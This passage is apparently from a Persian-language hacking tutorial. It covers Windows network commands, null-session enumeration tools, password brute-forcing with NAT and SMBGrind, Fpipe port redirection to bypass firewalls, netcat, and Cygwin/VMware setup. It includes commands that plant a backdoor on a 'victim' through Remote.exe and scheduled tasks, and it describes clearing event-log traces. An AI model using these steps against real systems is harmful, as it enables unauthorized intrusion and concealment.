- gateway :       انѧه آدرس ميزبѧتيابی بѧرای دسѧه بѧر       آدرس مسير یابی کѧط متغيѧده توسѧشخص شѧبکه مѧا شѧیdestination     ت راѧه اسѧار رفتѧه کѧب 
  .مشخص ميکند

  
   :Netstatفرمان 
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  :خوب این فرمان شکل عمومی آن به صورت زیر است 

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]  
  
  توضيحات سویچ  سویچ  

١  -a  در وضعيت شنود تمامي پورت هایي که (listening) به سر ميبرند به همراه بقيه اتصالات (connections)  نشان مي
  .دهد

٢  -e  آمار اترنت (Ethernet) را نشان مي دهد. 
٣  -n  پورت ها را به فرم عددي نشان مي دهد آدرس ها و اعداد.  
۴  -s  تمامي اتصالت (connections) مربوط به پروتکلي که توسط proto دهد مشخص شده را نشان مي. 
۵  -p proto  مسير یابي تمامي محتویات جدول (routing table) را نشان مي دهد. 
۶  -r  در حالت پيش گزیده آمار پروتکل هاي. نشان مي دهد آمار هر پروتکل را TCP،UDPو IP شود نشان داده مي. 
٧  interval  مجددا به نمایش در مي آورد آمار انتخابي را. 

  
   :Ipconfigدستور 

  
  !! تابلو . د چه ميشودنيبيه  به کار ببرید ،،، خوب بall/خوب اگر دستور را با پارامتر 

 DHCPسѧرویس   ه  یک ایѧستگاه کѧاری از         ر خاتمه دادن یا تمدید اجا     تقاضای  به کار ببرید برای       renew/ و   release/اگر دستور را با پارامتر      
  .هم ميتوان استفاده کرد

  . به کار ببرید ليست پارامتر ها را مشاهده می کنيدH– اگر دستور را با پارامتر
  

   :Nbtstatفرمان 
  

هنگام کنترل کننده های تعيين دامنه و یا سرویس دهنده هدف قادر به بکارگيری این فرمان خواهيم بود تا جدول اسامی را از سرویس دهنده 
  .نده هدف است در باره سرویس دهو کلا جهت تشخيص اطلاعات مفيد . هدف بدست آوریم

  
C:\>nbtstat 
 
Displays protocol statistics and current TCP/IP connections using NBT 
(NetBIOS over TCP/IP). 
 
NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n] 
        [-r] [-R] [-RR] [-s] [-S] [interval] ] 
 
  -a   (adapter status) Lists the remote machine's name table given its name 
  -A   (Adapter status) Lists the remote machine's name table given its 
                        IP address. 
  -c   (cache)          Lists NBT's cache of remote [machine] names and their IP 
 addresses 
  -n   (names)          Lists local NetBIOS names. 
  -r   (resolved)       Lists names resolved by broadcast and via WINS 
  -R   (Reload)         Purges and reloads the remote cache name table 
  -S   (Sessions)       Lists sessions table with the destination IP addresses 
  -s   (sessions)       Lists sessions table converting destination IP 
                        addresses to computer NETBIOS names. 
  -RR  (ReleaseRefresh) Sends Name Release packets to WINS and then, starts Refresh 
 
  RemoteName   Remote host machine name. 
  IP address   Dotted decimal representation of the IP address. 
  interval     Redisplays selected statistics, pausing interval seconds 
               between each display. Press Ctrl+C to stop redisplaying 
               statistics.  

  
   :Getmacابزار 
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 سѧرویس دهنѧده هѧدف    MACاین ابѧزار نѧشانی    . جهت کسب اطلاعات انتقالی شبکه از سرویس دهنده هدف ميتوان از فرمان مزبور استفاده کرد              
  . احتياج داردNull Sessionرا به ما نمایش ميدهد و البته به اتصال ... و 
  

   :ARP دستور
  

 SUB(  ان ماشين در زیر شبکه IPتقر در یک شبکه اینترنت را با آدرس ماشين های مس ) MAC( این فرمان رابطه بين آدرس فيزیکی 
NET ( آشکار ميکند. 

این دستور بالا برای !!  خود را دستخوش تغيير کند و هویت دیگران را جعل کند IPهر کاربری از شبکه قادر است رابطه مزبور یا آدرس 
  .تشخيص این کار است

  
  :ای تغيير مسير پورت  ؛ آموزش برنامه هضميمه شماره دو

  
 استفاده ميشود که اولی پدر Fpipe و Datapipeبرای این منظور از دو برنامه . این کار در مواقعی که البته نادر هم نيست بسيار انجام ميشود

غراق تمام حرفه ایی ابزار دومی برای ویندوز است و بدون هيچگونه ا. دومی است و مثل روال هميشگی اول بری خانواده لينوکس ساخته شد 
  . ها قبول دارند که بر خلاف سنت این دفعه ابزار ویندوز قوی تر است

  !! خط برنامه نوشته شده است برنامه نویس ها ميدانند من چی ميگم ١٠٠با این کارایی خفن فقط با ) Datapipe(این لازم بگم که این ابزار
  

   :Fpipeابزار 
 

  !!انجام ميدهيم ..  حين فرآیند در خواست سرویس وب وClientاین کار برای تغيير مسير ماشين 
  :شکل زیر را مشاهده ميکنيد)  است Helpهمان سویچ  ( h–با سویچ  بعد از اجرای این برنامه

C :\> fpipe.exe –h 
-? / -h         -show this help test. 
-c               - maximum allowed simultaneous TCP connection. Defaults is 32 
-i                - listening interface IP Address. 
-l                - remote port number 
-s               - outbound source port number. 
-u               - UDP  mode. 
-v               - Verbose mode. 

  
 UDP برای پورت های u– جزئيات پيشرفت کار را نمایش ميدهد ؛ سویچ v– بقيه برنامه ها سویچ خوب گزینه های تابلوی دارد مثلا مثل

  .که البته توضيح ميدهم اساسی نگران نباشيد چون فکر ميکنم تا به حال با این آشنایی نداشته باشيد.... استفاده ميشود 
  !!با مثال جلو ميروم که کارای هم داشته باشد 

  !! منتقل کنيم تا حال کنيم ٩٠٨٠ که البته استاندارد این کار هم هست به پورت ٨٠اهيم ترافيک وب را از روی پورت خوب مثلا ما ميخو
  :برای این منظور مينویسيم 

C :\> fpipe –l 9080 –r 80 www.google.com 
Pipe connected: 
        In :                   127.0.0.1 : 1917       127.0.0.1 : 9080 
        Out :         192.168.0.148 :1972        216.239.33.101 : 80 

  
خوب توجه کنيد این برنامه .  را برای آن فشار ندهيد برای شما نمایش ميدهدCtrl+Cاین برنامه گزارش اتصال های موجد را هنگامی که کليد 

  .هر اتصال را نيز نمایش ميدهد مبدا و مقصد و همچنين شماره پورت منبع IPعلاوه بر آدرس 
  .به مثال زیر توجه کنيد.  می توان امکان بهره برداری بيشتر از مشخصه پورت را در اختيار برنامه قرار دادs–با استفاده از سویچ 

C: \> fpipe –l 139 –r 139 s 88 192.168.97.154 
در این نهفته است  مزیت این کار را دوباره به خودش برگرداندم NetBIOSفيک شاید با نگاه اول به این مثال فکر کنيد که من دیوانه ام که ترا

از این کار ميشود جهت خنثی . جاری ميشود) ٨٨پورت شماره (  مسير فوق از یک پورت منبع واحد ر در فرآیند تغييSMBکه همه ترافيک 
 و ٢٠پورت های قابل توجه دیگر برای این فرایند عبارتند از . ه اندکه بگونه نا مناسب پيکر بندی شدسازی تاثير دیوارهای آتشی استفاده کرد 

  . ٨٠ و ۵٣ و ٢۵
  !!یک مثال دیگر ميزنم بهتر یاد بگيرید 

 جهت برقراری ارتباط با آن وسيله پورت مبدا متفاوت Fpipe باشد ، از ١٠٠٠ در پورت NC دارای Remoteبه عنوان مثال اگر ميزبان 
  :یانه خودمان دستور زیر را وارد ميکنيم و در رااستفاده ميکنيم 
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C :\> Fpipe.exe –l 23 –s 25 –r 1000 xxx.xxx.xxx.xxx 
 برای دستگاه آزمایش ، ٢٣ جهت برقراری ارتباط با پورت Telnetبوسيله .  ایجاد ميکند٢٣ را برای ارتباطی در پورت Fpipeاین دستور 

اکنون قادر .  استفاده ميکند٢۵که از پورت مبدا تعيين خواهد شد  IP xxx.xxx.xxx.xxx با Remote در ميزبان ١٠٠٠ترافيک برای پورت 
  !! از راه دور هستيم NCبه استفاده از 

  
  : ؛ ابزارهای مفيد برای ویندوز شماره سهضميمه 

  
  :مقدمه 

  
 و البته داخل را برای یک کار خاص هستنداین ابزارهایی که این جا معرفی ميکنم ابزارهایی خوب هستند که کارایی عالی دارند البته اکث

  !!ویندوز نيستند 
  
١- Null Connection:   
  

خوب این یک ابزار نيست بلکه به نوع خاصی ارتباط بين دو کامپيوتر ميگویند که مهمان که درخواست ارتباط را فرستاده است تا پایان نشست 
  .ناشناس باقی بماند 

جهت برقراری ارتباط با اشتراک پيش فرض  NET USE از دستور  ،اربر و کلمه عبور برقرار ميشوداین نوع ارتباط معمولا بدون نام ک
IPC$ در سيستم ویندوز NTاین اتصال نياز به  .به دست آورد... بر ، گروه ، وربا اتصال این نوع ميتوان اطلاعاتی درباره کا.  استفاده ميکند

  . دارد ١٣٩باز بودن پورت 
  : به صورت زیر است شکل عمومی دستور

C :\> net use \\ server name \ipc$ ((  )) User ((  ))/ 
 
   :Dump SECابزار  -٢
  

ميتوان آن را روی .  دارد Nullاحتياج به نشست . دریافت اطلاعات فوق العاده در باره سرویس دهنده ها و کاربران آنها است این ابزار 
  .را کرد و جواب ها را مشاهده کرد ماشين قربانی فرستاد و بعد در آنجا اج

  .دست رسی دارید حتما این را امتحان کنيد در مجموع کارایی آن عالی است و اگر به خط فرمان قربانی 
  
   :User 2 SID  و SID 2 User ابزار -٣
  

 تنظيم شده باشد خيلی از ١ برابر با Registry در Restrict Anonymousدر مواقعی که . یک نمونه این را بالا تر ها معرفی کردم
  . نيز هست استفاده ميکنيم۵٠٠ مدیر که برابر با SIDابزارهای بالا جواب برای ما برنمی گرداند در این واقع ما از این دو ابزار برای فهميدن 

هنده ایجاد کرد و سپس  برای سرویس دNull نخست باید User 2 SIDبه منظور به کارگيری .  دارد Nullاین ابزار هم نياز به یک نشست 
User 2 SID را بر خلاف سرویس دهنده هدف و یک گروه شناخته حساب را برای تعيين شناسه SIDترتيب پایين . راهاندازی کردSID 

  :دستگاه هدف را باز ميگرداند 
C :\> user 2 sid \\ server-name “ domain user “ 

گروه مدیریت را در اختيار دارید ، ) RED( دستگاه و شناسه نسبی SIDاکنون که . گرداند را برای سرویس دهنده باز ميSIDسپس این وسيله 
ترتيب این دستور به صورت زیر .  کاربر خواهيد بود که از مدیران به حساب می آیندIDS جهت تعيين SID 2 Userقادر به راه اندازی 

  :است
C :\> SID 2 User \\ server-name \ machine-sid admin-RID 

  
   :Net BIOS Auditing Tool و يا با نام کمال NATابزار  -۴
  

 است که البته کلی رد پا از خودش Brute Forceاین ابزار برای تست کلمات عبور بر روی یک کاربر و یا فهرستی از کاربران با مکانيزم 
  !!به جا ميگزارد و کند نيز هم است ولی کارای آن خوب است 

شکل کار با این به صورت زیر !!پيدا کند بعد متوقف ميشود ) معتبر( ار ميکند تا یک نام کاربر و کلمه عبور به درد بخور این ابزار آنقدر ک
  :است 

C :\> nat –O out put.txt –u user list.txt –p passlist.txt xxx.xxx.xxx.xxx 
 
   :SMB Grind ابزار -۵
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کار با این هم ساده ن مکانيزم استفاده ميکند ولی فرق این با بالایی این است که خيلی سریع تر است این ابزار هم دقيقا مثل بالای است و از هما
  :به صورت زیر است است شکل عمومی دستور در این برنامه 

C :\> smbgrind –i IP address –r Net BOIS -v 
 .یک تعدادی سویچ هست که به خودتان توضيحات آن را واگذار ميکنم دارای 

  
   :Somarsoft DumpReg ابزار -۶
  

 دارد که باید با NULLاین ابزار احتياج به اتصال .  را از سرویس دهنده راه دور فراهم ميکندregistryاین ابزار امکان تقاضای اطلاعات 
  .این را بگویم هم که این ابزار گرافيکی است .  ایجاد کنيدNET USEدستور 

  
  
  
  
  
   :Fport ابزار -٧

.  ماشين قربانی را با برنامه های در حال اجرا بر روی این ماشين آشکار کندUDP و TCPر قادر است رابطه موجد ميان پورت های این ابزا
توصيه ميکنم که اگر به خط فرمان قربانی دسترسی دارید از این برنامه استفاده کنيد تا موقعيت انواع مختلفی از برنامه هایی که امکان ورود 

  .ا به شما ميدهد را برای شما آشکار کندبه سيستم ر
  
   :Loggedon ابزار -٨
  

ندارد و یک .. این هم ذکر کنم که سویچ و. این ابزار برای این است که ببينيم چه کسانی و البته از چه راه هایی به ماشين هدف دسترسی دارند
  !! نونی را فقط نمایش ميدهد و امثال خودمان را نمایش نميدهد  قالفرمان تنها است و البته این ابزار کار برانی و البته روشهای اتصا

  
   :NT Last ابزار -٩
  

 نيستند را لاین ابزار دقيقا کارای بالا را دارد با این تفاوت که کار برانی و روشهای اتصال که قبل به ماشين هدف متصل بودن و الان متص
  !!نشان ميدهد

 
   :esource KitNT R ؛ معرفی ابزار های چهارمضميمه 

  
 ميکنم که به درد کار ما بخورد برای تهيه این بسته معرفیا راین همين جا اول کار بگویم که این بسته ابزارهای زیادی دارد و من فقط آنهایی 

نه آموزش کامل  دوباره تاکيد ميکنم قسط من فقط معرفی است !!! بزنيد کل جعبه آن را پيدا ميکنيد تبد نيست یک سری به سایت مایکروساف
  !!بقيه کار را باید خودتان با توجه به نيازتان انجام دهيد 

  
   :Dump Event Log و يا با نام کامل DUMPEL ابزار -١
  

این ابزار برای مشاهده اتفاق های امنيتی است که افتاده و ثبت شده و کارای خوبی نيز دارد البته با ویرایش این ابزار هيچ وقت زمان ویرایش 
  !!یل ثبت وقایع عوض نميشود در کل خوب است برای پاک کردن رد پاهای خودمان فا
  
   :NLTEST ابزار -٢
  

این ابزار برای جایگزینی این کنترل کننده ها مورد استفاده قرار !! هنگام تعيين دامنه در شبکه ميتوان کنترل های دامنه را مستقر کرد 
  !!ميگيرد

  !!!دانستن کلمه عبور و نام حساب کاربری ندارید  و البته هيچ نيازی به  باز دارید١٣٩نياز به پورت  ابزار برای استفاده از اینشما 
  
   :EDUMP ابزار -٣
  

  ... سيستم های هدف وIPو نشانی های !!برای بدست آوردن اطلاعات اضافی از سيستم هدف است از جمله خدمات انتقال ها این ابزار 
  
۴- USRSTAT:   
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ز کشف کنترل کننده ميتوانيد ابرای . ست که امکان گرد آوری مطالب کاربر را از کنترل کننده دامنه هدف فراهم ميسازدبرنامه ای ا
NLTESTاین ابزار نياز به یک اتصال . و یا هر ابزار مورد علاقه دیگر استفاده کنيد NULLنيز دارد .  

  
   :Local Administrators ابزار -۵
  

  !!حساب های کاربری با مجوز مدیر است البته فقط محلی نيست و از راه دور هم کار ميکند این ابزار برای تشخيص 
  
   :Global ابزار -۶
  

 نيز دارد و البته به NULLیک اتصال این ابزار دقيقا مثل قبلی است و فقط از کنترل دامنه برای تشخيص استفاده ميکند این دستور نياز به 
  !! باید باز باشد ١٣٩پورت 

  
   :Srvcheck ابزار -٧

نياز به . این ابزار برای کشف سرویس دهنده و اطلاعات مجوز اشتراک به کار ميرود و اطلاعات اشتراک های مخفيانه را نيز کشف ميکند
  . دارد تا کار بکندNULLیک اتصال 

  
   :SRVINFO ابزار -٨
  

این اطلاعات در بر گيرنده ؛ خدمات . دف مورد استفاده قرار ميگيرداین ابزار به منظور بر شمردن اطلاعات مفصل در مورد سرویس دهنده ه
  . داردNULLاین ابزار باز هم مثل قبلی ها نياز به یک اتصال .  ها ميباشدک، گردانده ها ، نسخه نرم افزار و اشترا

  
   :AUDITPOL ابزار -٩
  

 به کار ميرود و اگر ميخواهيد درست کار کند نياز به دسترسی NTسيستم این ابزار جهت برسی از راه دور و حساب های فعال یا غير فعال 
  . البته دستورات قابل اجرای بعدی بر روی سيستم را نيز مشخص ميکند.مدیریتی نيز ميباشد

  
   :SOMARSOFT DUMPREG ابزار -١٠

  
 ID دارد و البته با یک NULLه یک اتصال این ابزار احتياج ب.  را برای ما فراهم ميکندRegistryاین ابزار امکان دسترسی به مقادیر 

  .معتبر
  

   :REGDMP  ابزار -١١
  

 از سرویس دهنده به کار ميرود معمولا نياز به دست رسی مدیریتی دارد و البته نياز به Registryاین ابزار  جهت نسخه برداری اطلاعات 
   .nullاتصال 

  
   :Remote ابزار -١٢

  
پيش از به کار گيری این ابزار باید کلمه عبور و نام کاربری با .مان هدف مورد استفاده قرار ميگيرد این ابزار برای کسب دسترسی خط فر

هدف آشکار نشده باشد و فایل گروه  در Schedulerاگر سرویس  ( remote.exe و SC.exeهمچنين . مجوز مدیر دست یافت
)Backdoor.Bat(  روهی حاوی دستور زیر است این فایل گ. را برای هدف نسخه برداری ميکنيم:  

Remote /S (cmd) pipname 
Pipeسپس به منظور اجرای فایل گروهی باید یک روش دست یابيم که معمولا از . نامی که بخواهيد ، ميتوانيد نام گذاری کنيد  خود را به هر

Schedulerبا سرویس دهنده ارتباط برقرار کرد   هنگاميکه فایل گروهی اجرا ميشود ميتوان بوسيله دستور زیر. استفاده ميکنيم:  
C:\> Remote /C Servername pipename 
 

   :SC ابزار -١٣
  

 دسترسی مدیریتی و برای به کارگيری این ابزار باید!!  در سيستم محلی به کار ميرود Scheduleاین ابزار به منظور آغاز و توقف سرویس 
NetBIOSآشکاری در اختيار داشت  .Schedule Serviceهمچون یک فایل گروهی  به منظور اجرای زمان بندی مشاغل به کار ميرود ، 
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 در سيستم Scheduler برای آغاز سرویس . صورت ميگيردNC یا Remoteکه حاوی یک پردازه برای گشودن درب پشتی است که توسط 
  :از راه دور باید از دستور زیر استفاده کرد

C :\> SC \\ Server Start Schedule 
  : باید دستور زیر استفاده کنيم Scheduler که جریان دارد و یا پرسش Scheduleهمچنين به منظور تایيد سرویس 

C :\> SC \\ Server query Schedule 
  . نياز باشدSchedule جهت ایجاد هماهنگی در Net time یا ATهنگام به کار گيری از این دستور شاید به استفاده از 

  
  : AT ابزار -١۴

  
 استفاده کرد و هنگام در دسترس قرار ميگيرد که پردازه ایی Schedule Serviceاین ابزار را ميتوان جهت برنامه ریزی از راه دور بوسيله 

 در ميزبان آغاز شده است و یا Schedule Service اول باید ثابت کرد که . را به سيستم تقویت کردRemoteو دسترسی را اجرا کرد 
  :سپس زمان محلی را کشف کرد بعد از دستور زیر استفاده کرد.  بالا به کار گرفتSCا دستور سرویس را ب

C :\> at \\ Server time “Command” 
 که حاوی پردازه Backdoor.Batکه در ابزار قبلی توضيح دادم مثلا فایل .  مسير پردازه خود را بنویسيدCommandشما ميتوانيد به جای 
جهت پرسش از این که چه مشاغلی ایجاد شده اند . شد تا درب پشتی را  در ماشين هدف ایجاد کردا ميبNC یا Remoteه ای جهت پرداختن ب

  :از دستور زیر استفاده ميشود 
C :\> at \\ Server 

   :KILLابزار  -١۵
  

  :شکل دستور این جوری است. این ابزار برای نابود کردن یک فرایند مورد استفاده قرار ميگيرد
D :\> kill <pid> 

  . که در بالاتر ها توضيح کامل دادم استفاده کنيدPslist  هم ميتوانيد از فرمانpidبرای کشف کد 
  
  
  

  !! اجرای برنامه های تحت لينوکس در ويندوز  مشکلضميمه پنجم ؛ حل
  

  . های آن استPackage با تمام Cygwinتوصيه موکد من به شما استفاده از 
  

کلا برای انجام این کار از دو راه کلی استفاده . ار راه حل های بسياری وجد دارد که البته اکثر دوستان نيز با آن نا آشنا هستندخوب برای این ک
  .ميشود ؛ راه اول نصب یک سيستم عامل مجازی درون ویندوز ؛ راه دوم شبيه سازی یک سيستم عامل مجازی درون ویندوز

  
 من از این نمونه فقط به توضيح را دارا است) فقط در موقع نصب ( ته کارای بيشتر ولی دنگ فنگ زیاد  حل دوم بازدهی بيشتر و البراه

 باید یک سيستم عامل مجازی را درون سيستم عامل اصلی خود نصب کنيد که برای این واقعاًراه حل اول شما .  بسنده ميکنمCygwinبرنامه 
 و Microsoft virtual pc و VM WARE وجد دارد که از این دست من دو برنامه معروف ) برنامه۵بيش از ( کار برنامه های متعددی 

Connectix Virtual pcدو برنامه آخری یک برنامه با دو نام متفاوت است(  . را معرفی ميکنم(.  
  

چون فوق العاده خفن است و البته  ) که عاشق آن شدم و زندگی بدون آن برایم امکان پذیر نيست اصلا(  را توضيح ميدهم Cygwinاول برنامه 
  .رایگان هم است و کد های برنامه آن هم در دست رس ميباشد

  
   :Cygwin مافوق خفن برنامه

  
 سيستم کاری آن خيلی ساده است و فقط از  ميلادی و کمی قبل تر نوشته شده و کم کم توسعه یافته است١٩٩٧ميتوانم بگویم سال  این برنامه 

آدم با استفاده از این برنامه رویایی استفاده از ابزارهای  . استفاده ميکندDLL یا به اختصار Dynamic Linked Libraryفرد یک مکانيزم من
که فقط برای لينوکس نوشته اند را بدون هيچگونه مشکلی تحقق ...  وCheops و strings و strace و md5sum و Nessus همچون یتوپ

  )ون مشکل و البته بدون دنگ فنگ  ميکنم بددتأکي. ( می یابد
  

اگر قسط آن را دارید که . این ابزار مشکل ترین مرحله آن مرحله نصب برنامه است و البته تهيه یک نسخه کامل از آن دردسر خيلی زیاد است
  !! بی افتد DSLبرنامه را به روال معمول خودش نصب کنيد حتما به فکر تهيه یک خط 
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 مگابایتی ١١٣که حداقل  نسخه کامل از این برنامه بعلاوه تمام امکانات جانبی آن است یا حداقل امکانات اساسی آن توصيه من پيدا کردن یک
 استفاده کنيد نسخه که من توصيه ميکنم آدرس آن را Berkeley" برکلی "  که برای این منظور ميتوانيد از سایت دانشگاه .باید حجم داشته باشد
  . محشر استالبته واقعاًدر زیر قرار داده ام 

http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinDevelSrc.exe 
  

  :البته نسخه های دیگری هم وجد دارد که حجم کمتری دارد از قبيل 
  

http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinBasic.exe 
   نسخه مگابایت و١٠٫٩با حجم 

http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinDevel.exe 
  نسخه وت مگابای٣۴٫۶با حجم تقریبی 

 http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinBasic.exe 
   مگابایت و نسخه ١١٫١با حجم 

http://ptolemy.eecs.berkeley.edu/ptolemyII/ptII4.0/cygwinDevel.exe 
  . مگابایت ٢۵٫۴با حجم تقریبی 

  جام دهيد مراحل زیر را به ترتيب ان  ،بعد از دریافت هر کدام از این ها
  
   )معمولا خودش خودکار بالا می آید ( برنامه نصب را از داخل پوشه اجرا کنيد  از حالت فشرده خارج کرده و  راآن -١
  )  ضپيش فرمعمولا خودش این را هم انتخاب ميکند به صورت ( را انتخاب کرده  Install from local directoryبعد گزینه  -٢
  )ریشه شروع لبه کار برنامه هم است (  برنامه در آنجا قرار ميگيرد و انتخاب کنيد که جایی  راRoot Directory بعد -٣
 را Just ME در غير این صورت گزینه  را انتخاب کنيدAll User اگر ميخواهد دیگر کاربران ماشين شما از برنامه استفاده کنند گزینه -۴

  .انتخاب کنيد
  ) استUnixفرقی با هم ندارد توصيه . ( یلهای متن را مشخص ميکند قالب توليد فاUnix و DOS گزینه -۵
 که همان برنامه های نصب در این شبيه ساز است را مشخص Package هم محل وجود فایل های Local Package directoryگزینه  -۶

  .ميکند
لود کرده اید مجموعه ای از برنامه ها برای نصب در  شما با توجه به مجموعه فایلها و برنامه هایی که دانSelect Packages در قسمت -٧

  . امکان انتخاب هر کدام از برنامه ها برای شما فراهم ميشودViewاختيار دارید که با کليد کردن روی گزینه 
 Start منوی  در روی صفحه ور برنامه شروع به نصب خود ميکند و در آخر کار هم از شما برای درست کردن ميان بNextبا زدن دکمه  -٨

  .از شما سوال ميکند 
  !! واقعی دارید در ویندوز خودتان  ) Shell(  آن برنامه شروع به کار ميکند و شما کاملا یک خط فرمان لينوکس ر با کليد روی ميان ب-٩
  

 دریافت com.Cygwinسایت از  کيلو بيت ٢۵٧اگر از این راهی که من توصيه ميکنم خوشتان نيامده ميتوانيد خود برنامه نصب را با حجم 
 یا گزینه Install from local directory ولی حتما به این یکی توصيه من ، که در مرحله دوم به جای گزینه .کرده و آن را اجرا کنيد

Install from internet از گزینه Download Without Install ین کار شما استفاده کنيد که با اPackage به  ها را اول دانلود ميکنيد بعد
شيوه که بالا توضيح دادم برنامه را نصب ميکنيد البته در این شيوه که من اصلا توصيه نميکنم اگر خدای نکرده اتفاقی از هر نوع بی افتد 

بقيه کار بعد از اتمام انتخاب برنامه بعد .  دست ميدهيدامکان شروع دوباره کار از اول است و شما همه برنامه هایی را که دریافت کرده اید از
  .دانلود آن مثل شيوه بالا است 

 
هر چقدر بخواهيد اجرا کنيد و برنامه دانلود کنيد و بعد نصب کنيد یا برنامه خاصی را حذف  را  نصباین را بگویم که شما می توانيد برنامه

  .کنيد یا همه را حذف کنيد
  

 ميدهد که اجازه اجرای همه برنامه های ویندوز و ام شاهکار است چون بعد از اجرای آن که یک خط فرمان ساده به عاًواقخوب این برنامه 
  :که این شکلی لينوکس حتی گرافيکی ها را در ان به ما ميدهد 
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تمام دستورهای لينوکس و تمام دستورهای خوب بقيه کارا را خودتان ميدانيد به من ربطی ندارد با این ميخواهيد چه کار کنيد فقط این بگم 
 لينوکس هستن بگم که برید کد های آن را دانلود کنيد بعد X-Windowsویندوز فقط در این یک وجب بالا می آید البته آنهایی که عاشق محيط 

 را دوست دارن فکر کنم همين بس باشد  یک لينوکس داشته باشيد برای آنهایی هم که مثل من هستن و خط فرمانبياد این تو نصب کنيد تا واقعاً
  !!و پول اضافی برای دانلود ندارند بدن 

   :VM WAREبرنامه معروف  معرفی
  

 نسبت به هم کاران خود در این صنف ميشود گفت یک وجب بالاتر است از بقيه !! )توضيح نميدهم  آنپس من با زیاد ( این برنامه پولی است 
  . سال نوری بالاتر است١٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠ ميشود گفت یک Microsoft virtual pcالبته از 

  
!!  نسخه آلفا آن هم آمده باشد این برنامه به شما بعد از نصب خودش)در این زمان (  باید باشد که فکر ميکنم حالا ۵آخرین نسخه آن نسخه 

را به شما در درون سيستم عامل خودتان که ممکن ) نسخه ها% ٩٩٫٩٩٩٩(س و لينوک) تمام نسخه ها(اجازه نصب سيستم عامل های ویندوز 
  .است لينوکس یا ویندوز باشد ، به شما ميدهد

 در شبکه به عنوان یک ماشين حقيقی در شبکه شناخته ميشود یک کمی دنگ فنگ آن این سيستم عاملی که به این صورت نصب ميکنيد واقعاً
 ماشين حقيقی خودتان زیاد است کلا سه حالت برای این کار به شما ميدهد ؛ حالت اول استفاده از گزینه برای شبکه کردن ماشين مجازی با

Use Bridged Networking و بقيه کار های شبکه هم مثل روال  است که یک کارت شبکه مجازی برای شما و ماشين مجازی نصب ميکند
 Use استفاده از گزینه  !!!حالت دوم که برای ما ایرانی ها بهتر است .  خاصIP این حالت باید شما به آن یک  و البته درمعمول است

Network Address Translation که به اختصار NAT ميگویند است در این موقع هر وقت توسط رایانه حقيقی به شبکه وصل شدید 
 ميشوید چون DICناکام ميماند و شما هم %) ٩٠يش از ب(  شما بگيرد که در اکثر مواقع ISP از IPرایانه مجازی سعی ميکند یک آدرس 

اسرار در این کار ممکن است به قطع   که ، چند تا  نه  ها کارت اشتراک خود را فقط برای اتصال یک کامپيوتر پيکر بندی ميکنندISPمعمولا 
قی تقریبا نقش یک سرور را انجام ميدهد به این  حالت سوم پس به درد ما ميخورد در این شيوه رایانه حقي.نيز بی انجامدشما  کشدن اشترا

صورت که همه رایانه های مجازی زیر مجموعه این ماشين ميشوند و مثلا اگر درخواستی برای دیدن یک صفه وب از طرف آنها باشد اول 
  ).ت هاکافی ني% ٩٩دقيقا مثل (  خودتان ميگيرد بعد ميدهد به آن ماشين مجازی ISPرایانه شما آن صفحه را از 

  
 است باید شما رم خود را اول ظرفيت آن را تقسيم بر دو کرده و عدد حاصل RAMنکته دیگری که در باره این برنامه مهم است شيوه تقسيم 

 را به صورت مساوی بين تعداد ، ماشين های مجازی که قسط دارید به طور هم زمان از آنها استفاده کنيد تقسيم کنيد ؛ اگر قسط استفاده هم
  . خود را به آن ماشين مجازی اختصاص دهيد RAMزمان از آنها را ندارید ميتوانيد نصف 

  
..  وFdiskآخرین نکته این است که شما روی هارد خود یک هارد مجازی ایجاد ميکند و نباید نگران استفاده از دستورات خوبی همچون 

  !باشيد
  

   :Microsoft virtual pc و Connectix Virtual pc برنامه معرفی
  

 پيدا ر تغييMicrosoft virtual pc و نام آن به  خریداری شدهت توسط مایکروسافConnectix Virtual pcاول این را بگویم که برنامه 
  .کند بگردید که فکر کنم تو شبکه هم خيلی کم است ولی از لينوکس پشتيبانی ميConnectixپس دنبال نسخه قدیمی !! کرده و البته بدتر هم شده 

(c) ketabton.com: The Digital Library



٦٦    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

  
این بيلی پست فطرت بعد از خرید این برنامه و تغيير اسم آن دیگر از لينوکس در این برنامه پشتيبانی نميکند ولی شما ميتوانيد در این برنامه 

  .!!!!)بيلی ميکشم تو را ( لينوکس نصب کنيد ولی امکانات شبکه در اختيار شما نيست 
  

 کار با این برنامه خيلی ساده است و اصلا نياز به بگذریم.... ن سادگی کارایی خوبی داشت ولی محشر بود در ایواقعاً آن Connectixنسخه 
مشکل تخصيص رم هم  . است و توضيح هم نميخواهد VMقسمت شبکه آن تقریبا مثل .  با آنه کسب کنيدتوضيح ندارد و بد نيست کمی تجرب

شين خودتان و ماشين مجازی از آن استفاده اه شما ها یاد دادم برای پایداری مببالا  که فرمولی است و بد نيست از VMندارد ولی اصولا شبيه 
  .کنيد 

  
  

   :Net Cat یا با نام کامل NCمعرفی ابزار ضميمه ششم ؛ 
  

 هميشه کار راه .باید خيلی پيش از این ، این ابزار معرفی ميکردم ولی نميدانستم که کجا باید درباره آن توضيح بدهم. یک ابزار همه کاره است
  !! ميگویمميدانم به کار شما ها خواهد آمدچون ميدهم البته  ی سویچ است که همه را توضيح کاملردارای یک س. می اندازد

دوست دارم آن را چون ....  مرگ بار تا یک نرم افزار برای جمع آوری اطلاعات وترواهمه کاره است ، از پویش پورت گرفته تا یک اسب 
  .ق این دوست داشتن است لایواقعاً

  
C:\amir>nc -h 
[v1.10 NT] 
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [options] [hostname] [port] 
options: 
        -d              detach from console, stealth mode 

 

        -e prog         inbound program to exec [dangerous!!] 
        -g gateway      source-routing hop point[s], up to 8 
        -G num          source-routing pointer: 4, 8, 12, ... 
        -h              this cruft 
        -i secs         delay interval for lines sent, ports scanned 
        -l              listen mode, for inbound connects 
        -L              listen harder, re-listen on socket close 
        -n              numeric-only IP addresses, no DNS 
        -o file         hex dump of traffic 
        -p port         local port number 
        -r              randomize local and remote ports 
        -s addr         local source address 
        -t              answer TELNET negotiation 
        -u              UDP mode 
        -v              verbose [use twice to be more verbose] 
